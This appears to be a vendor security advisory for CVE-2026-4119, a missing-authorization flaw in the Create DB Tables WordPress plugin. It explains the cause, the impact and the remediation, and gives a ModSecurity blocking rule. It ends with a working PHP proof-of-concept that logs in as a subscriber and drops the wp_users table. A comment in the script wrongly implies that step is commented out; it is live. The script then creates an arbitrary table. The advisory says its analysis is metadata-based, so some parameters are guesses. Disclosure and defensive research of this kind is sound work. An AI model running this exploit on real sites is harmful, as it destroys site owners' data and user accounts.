Atomic Edge analysis of CVE-2026-4119 (metadata-based):
This vulnerability affects the Create DB Tables plugin version 1.2.1 and earlier. The plugin registers two admin-post action hooks for creating and deleting database tables without any capability or nonce checks. This allows any authenticated user including Subscribers to create arbitrary database tables or delete any existing table, including critical WordPress core tables.
Root Cause: The plugin registers action hooks admin_post_add_table and admin_post_delete_db_table without implementing current_user_can() capability checks or wp_verify_nonce()/check_admin_referer() nonce verification. The admin_post hook only authenticates the user is logged in, not that they have any specific privileges. While Atomic Edge analysis cannot confirm without code diff, the CWE-862 classification and the explicit description strongly indicate the missing authorization checks. The cdbt_delete_db_table() function accepts a user-supplied table name from $_POST[‘db_table’] and executes a DROP TABLE query via $wpdb, enabling arbitrary table deletion.
Exploitation: An authenticated attacker with Subscriber-level access sends a POST request to /wp-admin/admin-post.php. For table deletion, the request includes action=admin_post_delete_db_table and db_table=[table_name]. For table creation, the request includes action=admin_post_add_table with appropriate POST parameters to define the new table structure. Since no nonce is required and only authentication is needed, any logged-in user can trigger these operations. An attacker could delete the wp_users table to destroy authentication or the wp_options table to corrupt site configuration.
Remediation: The plugin must add capability checks via current_user_can(‘manage_options’) or a similarly privileged capability check to both action handlers. Additionally, each handler should implement nonce verification using check_admin_referer() or wp_verify_nonce() to prevent cross-site request forgery. The table name parameter should also be validated and sanitized using functions like sanitize_text_field() and potentially compared against an allowlist of permissible table names.
Impact: An authenticated attacker can delete any database table in the WordPress installation, including wp_users (destroying all user accounts), wp_options (breaking site configuration), or wp_posts (destroying all content). This leads to complete site destruction and data loss. The attacker can also create arbitrary database tables, potentially used for malvertising, phishing storage, or further exploitation. The CVSS score of 9.1 reflects the critical severity of arbitrary database manipulation.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-4119 (metadata-based)
# Blocks exploitation of missing authorization in Create DB Tables plugin
# Targets admin-post.php with specific action parameters
SecRule REQUEST_URI "@streq /wp-admin/admin-post.php"
"id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-4119 - Missing Authorization in Create DB Tables plugin',severity:'CRITICAL',tag:'CVE-2026-4119'"
SecRule ARGS_POST:action "@rx ^admin_post_(add_table|delete_db_table)$"
"chain"
SecRule ARGS_POST:db_table "@rx ^wp_[a-z_]+$"
"t:lowercase"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-4119 - Create DB Tables <= 1.2.1 - Missing Authorization to Authenticated (Subscriber+) Arbitrary Database Table Creation/Deletion via admin-post.php
// Configuration: Change these variables
$target_url = 'http://example.com'; // WordPress site URL (no trailing slash)
$username = 'subscriber'; // WordPress user with at least Subscriber role
$password = 'password'; // User password
// Step 1: Authenticate as a subscriber
$login_url = $target_url . '/wp-login.php';
$login_data = array(
'log' => $username,
'pwd' => $password,
'rememberme' => 'forever',
'wp-submit' => 'Log In'
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cve-2026-4119-cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if ($http_code !== 200 && $http_code !== 302) {
die("[-] Login failed. HTTP code: $http_coden");
}
echo "[+] Authenticated as subscriber.n";
// Step 2: Delete a WordPress core table (e.g., wp_users) as proof of concept
// WARNING: Uncommenting the line below will destroy the wp_users table!
// This will break the entire site and require database restoration.
$delete_table_url = $target_url . '/wp-admin/admin-post.php';
$delete_data = array(
'action' => 'admin_post_delete_db_table',
'db_table' => 'wp_users' // Target a critical table for demonstration
);
curl_setopt($ch, CURLOPT_URL, $delete_table_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($delete_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$delete_response = curl_exec($ch);
$delete_http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
echo "[+] Delete table request sent to wp_users. HTTP response code: $delete_http_coden";
echo "[+] Note: If the site is now broken, the attack succeeded.n";
// Step 3: Create a new arbitrary table (example: malicious_table)
// This demonstrates arbitrary table creation capability
$create_table_url = $target_url . '/wp-admin/admin-post.php';
// The plugin likely expects table structure parameters; adjust as needed.
$create_data = array(
'action' => 'admin_post_add_table',
'table_name' => 'malicious_table',
'column1_name' => 'id',
'column1_type' => 'int',
'column2_name' => 'data',
'column2_type' => 'text'
);
curl_setopt($ch, CURLOPT_URL, $create_table_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($create_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$create_response = curl_exec($ch);
$create_http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
echo "[+] Create table request sent. HTTP code: $create_http_coden";
curl_close($ch);
echo "[+] PoC complete. Check the target site for disruption or new table.n";
?>
